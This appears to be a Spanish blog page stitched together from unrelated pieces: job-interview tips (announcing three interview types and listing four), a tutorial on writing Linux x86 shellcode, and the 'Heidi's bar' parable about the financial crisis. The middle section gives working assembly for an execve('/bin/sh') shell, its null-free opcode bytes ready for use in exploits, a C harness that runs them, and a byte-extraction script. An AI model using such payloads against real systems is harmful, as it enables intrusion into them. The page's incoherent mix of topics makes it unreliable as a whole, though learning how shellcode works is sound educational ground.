Pared Sur

Como prepararse para una entrevista? 
De que maneras puede uno preparse? Veamos algunos casos comentados en cientos de artículos que hay por la red:

• Investiga bien sobre la empresa y el sector para el que postulas.
• Busca en internet a tu entrevistador a fin de ver con quien te estas por reunir y de paso recopilar datos para posibles conversaciones y así lograr mayor empatía. Al mismo tiempo reduce el stress de saber con quien nos vamos a encontrar.
• Revisa tu  currículum. Mirá que puntos se adecuan a la búsqueda y cuales no.
• Repasa las fechas.
• Armate un speech o visualiza como sería la entrevista y que responderías a las típicas preguntas.
• Practica ser concreto y utilizar ejemplos para las preguntas que te puedan hacer.
• Ensayar con alguien o bien solo y frente al espejo. Esto permite pulir asperezas y ser más precisos.
• Ensayar 3 debilidades, 3 fortalezas  y sus respectivas explicaciones/ejemplos
• Repasar una situación laboral difícil y como la enfrentamos y resolvimos.
• Repasar nuestros mayores Logros y como fue su desarrollo.
• Pensar respuesta a la pregunta de "Como se ve Ud. de aquí a 5 años?"
• Ir mentalizados con lo que queremos a futuro.
• Saber hasta donde vamos a negociar.

Antes de Concurrir a la Entrevista:

• Ver que tenemos una copia del CV con nosotros. (Llevarla de forma prolija) 
• Ir vestidos acorde al lugar u ocasión.  "Una imagen vale más que mil palabras", y créanme no todos lo entienden.
• Llevar los datos Dirección, teléfono y nombre del Entrevistador anotados en un papel, a fin de tenerlo a mamo, dentro de un bolsillo.  Los medios electrónicos pueden fallar.
• Ubicar el lugar físico donde se realizará la misma. Ver que medios de transporte nos llevan hasta el lugar.  
• Si vamos en coche, prever de encontrar una cochera ya que puede ocurrir que no tengamos donde dejar el vehículo.
• Calcular el tiempo de viaje desde donde vayamos a estar hasta el lugar de la cita.
• Si llegamos mucho antes, recorrer la cuadra y ver el edificio donde nos esperan a fin de ver si el acceso es sencillo o hay que presentarse en seguridad y dejar todos nuestros datos, lo que nos haría perder unos 5 minutos o más según como marche de rápido el asunto.
• Si vemos que estamos demorados, no aguardar hasta la hora de la cita para dar aviso de esto. Conviene llamar a nuestro entrevistador unos 15 o 20 minutos antes y decir que estamos demorados pero en viaje.  Con esto demostramos que somos previsores y al mismo tiempo evitamos "en parte", dar la mala impresión de llegar tarde.

Llego la entrevista, y ahora?

Según mi experiencia más lo que fui leyendo, podría decir que los siguientes tips "ayudan" llegado el momento.

• Sé puntual. 
• Intenta llegar 10 minutos antes.  Esto te permite emprolijar tu presencia, y evitar cualquier situación inesperada de último minuto.
• Llevar copia del currículum. Ofrecer el mismo en el momento de comenzar la entrevista.
• Dar la mano de manera firme y segura.
• Mostrar interés y entusiasmo pero sin exagerar.
• Utiliza un tono de voz seguro y lo suficientemente alto y claro para que se nos escuche y comprenda bien.
• Estar con postura cómoda pero formal. 
• NO INTERRUMPIR. Siempre aguardar que el entrevistador termine de hablar y nos de pie a responder.  No mostrarnos ansiosos, por más que sepamos que con la respuesta nos vamos a comprar el puesto.
• Sonreír cuando sea apropiado, muéstrate gentil, atento y espontáneo.
• Hacer preguntas a fin de denotar interés.
• Guardar preguntas para el final de la entrevista. 
• Preguntar como continúa el proceso de selección.
• Una vez que se esta dando por cerrada la entrevista, te quedan 3 minutos para diferenciarte del resto.  Pensá que podes decir para hacerte notar o terminar de convencer que no busquen más, que vos SOS EL CANDIDATO.

En internet hay cientos de "preguntas" que dicen de hacer en todas las entrevistas.  El caso es que solo alguna de ellas aplican, ya que si no sería demasiada extensa la cita.

• Sonreír cuando sea apropiado, muéstrate gentil, atento y espontáneo.
• Hacer preguntas a fin de denotar interés.
• Guardar preguntas para el final de la entrevista.
• ¿Por qué te interesa esta empresa? ¿Por qué te interesa el puesto/posición?
• ¿Estuviste viendo información de la Empresa?
• Decime 1 fortaleza y 1 debilidad tuya. Amplia cada una por favor.
• Hablame de vos. ¿cómo te describirías
• Descríbeme una situación difícil de tu trabajo actual o anterior y cómo la resolviste.
• Contame de algún Logro que hayas tenido.
• Hablame acerca de alguna dificultad con algún jefe y como lo resolviste. (Ojo con esta!)
• ¿Cómo te ves de acá a 5 años?
• ¿Por qué deberíamos de escogerte a vos en lugar de otro candidato? (La pregunta que puede hacer que el puesto SEA TUYO! Pero no suele aparecer muy a menudo.
• (Si estamos trabajando) ¿Por qué estas en búsqueda de otro trabajo?
• (Si no tenemos trabajo) ¿Por qué dejaste tu último trabajo?
• ¿Cómo sería tu trabajo ideal? 
• ¿Cómo te imaginas a tu jefe ideal?

A tener en cuenta:


Hay 3 tipos de entrevistas:

• Piramidal
• Reloj de Arena
• Rombo
• Embudo

Piramidal: comienza con preguntas cerradas y concluye con preguntas abiertas.
Reloj de Arena:  Comienza con preguntas abiertas, se encaminan a cerradas y finaliza con abiertas.
Rombo: Comienza con preguntas cerradas, se encamina a preguntas abiertas y finaliza con preguntas cerradas.
Embudo: Comienza con preguntas abiertas y finaliza con cerradas.

Espero que les resulte útil.
Éxitos en sus búsquedas y que logren encontrar el trabajo de sus vidas!

Code (asm):
BITS 32
exit:
 xor ebx,ebx  ;ponemos 0 como argumento de exit
 xor eax,eax  ;limpiamos eax y ebx
 mov al,0x01  ;ponemos 1 en eax (es el codigo de la syscall exit)
 int 0x80  ;finalmente llamamos a la interrupcion
 
 

Ahi hicimos nuesta primer "shellcode".

Como extraemos los bytes u opcodes?
Lo que haremos ahora es compilarla y extraer los bytecodes que son los que nos interesan a nosotros, por eso abrimos nuestra terminal y tipeamos:
~$ nasm exit.asm
si queremos saber si se compilo bien podemos desensamblarlo (en 32 bits) con
~$ ndisasm-b 32 exit
y nos mostrara el desensamblado del codigo con sus respectivos opcodes:

00000000  31DB            xor ebx,ebx
00000002  31C0            xor eax,eax
00000004  B001              mov al,0x1
00000006  CD80              int 0x80

Para sacar estos opcodes podemos copiarlos uno por uno al exploit o a donde lo queramos poner; o sino extraerlos con alguna clase de script, yo me hice uno que pasa el archivo a la cadena de C directamente:

Code (python):
#!/usr/bin/python
from binascii import *
import sys
 
files = {}
length = []
 
def write(string):
 sys.stdout.write(string)
 
def process_file(file):
 source = open(file,"rb")
 write("char shellcode[]=\n\t\t")
 i = 1
 l = 0
 write("\"")
 for data in source.read():
  write("\\x")
  write(b2a_hex(data))
  if (i % 15)==0:
   write("\"\n\t\t\"")
  i+=1
  l+=1
 files[file[0:-4]]= l
 write("\";\n\n")
 source.close()
 
print("HDL Shellcode Lab - Bin to C") 
if(len(sys.argv)<2):
 exit(0)
process_file(sys.argv[1])
 
 

Code (c):
char shellcode[]=
  "\x31\xdb\x31\xc0\xb0\x01\xcd\x80";
 
 

Como probar las shellcodes?
Para probarlas podemos usar un pequeno codigo en C que salte a la shellcode directamente, aca les dejo un codigo muy simple y funcional:

Code (c):
char shellcode[] = "\x31\xdb\x31\xc0\xb0\x01\xcd\x80"; //aca ponemos nuestra shellcode
int main (int argc, char *argv[])
{
  int (*run)();   //puntero a una funcion
  run = shellcode; //asignamos la direccion de la shellcode al puntero
  run();  // y la ejecutamos
}
 
 

Code (asm):
BITS 32
        xor  eax,eax
        push eax
        push dword 0x68732f6e  ;ponemos a /bin/sh en la pila                   
        push dword 0x69622f2f
        mov  ebx,esp     ;y le damos la direccion de /bin/sh a ebx       
 xor  edx,edx
        push edx  ;ponemos el resto de los argumentos en la pila  
        push ebx
        mov ecx,esp
        mov al,0x0b  ;llamamos a la syscall 0x0b (execve)            
        int 0x80
 
 

Code (c):
char shellcode[]=
  "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
  "\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
 
 

Estos bytecodes ya estan para usarse y como veran no tiene ningun caracter nulo en su extension ;-) (sobre  bad chars )
Fue mas que nada para perderle miedo a los terminos raros y entender mejor como estan compuestos los exploits.

Fuente: HDLC

“Heidi es la propietaria de un bar en Berlín. Como es natural, quiere aumentar las ventas, y decide permitir que sus clientes, la mayoría de los cuales son alcohólicos en paro, beban hoy y paguen otro día. Va anotando en un cuaderno todo lo que consume cada uno de sus clientes. Esta es una manera como otra cualquiera de concederles préstamos.
Muy pronto, gracias al boca a boca, el bar de Heidi se empieza a llenar de más clientes. Como sus clientes no tienen que pagar al instante, Heidi decide aumentar los beneficios subiendo el precio de la cerveza y del vino, que son las bebidas que sus clientes consumen en mayor cantidad, y el margen de beneficios aumenta vertiginosamente.

Un empleado del banco más cercano, una persona muy emprendedora que trabaja de director en la sección de servicio al cliente, se da cuenta de que las deudas de los clientes del bar son activos de alto valor, y decide aumentar la cantidad del préstamo a Heidi. El empleado del banco no ve ninguna razón para preocuparse, ya que el préstamo bancario tiene como base para su devolución las deudas de los clientes del bar.
En las oficinas del banco los directivos convierten estos activos bancarios en “bebida-bonos” y “alco-bonos” bancarios. Estos bonos pasan a comercializarse y a cambiar de manos en el mercado financiero internacional. Nadie comprende en realidad qué significan los nombres tan raros de esos bonos; tampoco entienden qué garantía tienen, ni siquiera si tienen alguna garantía. Pero como los precios de las bebidas siguen subiendo constantemente, el valor de los bonos sube también constantemente.
Sin embargo y aunque los precios aumentan, un día un asesor de riesgos financieros que trabaja en el mismo banco (asesor al que por cierto despiden pronto a causa de su pesimismo) decide que ha llegado el momento de demandar el pago de las deudas de los clientes del bar de Heidi. Pero estos, claro está, no pueden pagar las deudas, y Heidi no puede devolver sus préstamos bancarios y entra en bancarrota. Los “bebida-bonos” sufren una caída de un 95% de su valor. Los los “alco-bonos” van ligeramente mejor, ya que sólo caen un 80%.

Las compañías que proveen al bar de Heidi, que le dieron largos plazos para los pagos y que también adquirieron bonos cuando su precio empezó a subir, se encuentran en una situación inédita. El proveedor de vinos entra en bancarrota, y el proveedor de cerveza tiene que vender el negocio a otra compañía de la competencia.
El gobierno interviene para salvar al banco. Tras conversaciones entre el presidente del gobierno y los líderes de los otros partidos políticos.
Para poder financiar el rescate del banco, el gobierno introduce un nuevo impuesto muy elevado que pagarán los abstemios”.
Tiene gracias y, lo mejor: se parece bastante a lo que ha sucedido (a lo que ha sucedido, ¿y a lo que continúa sucediendo?).


Fuente: Clic aquí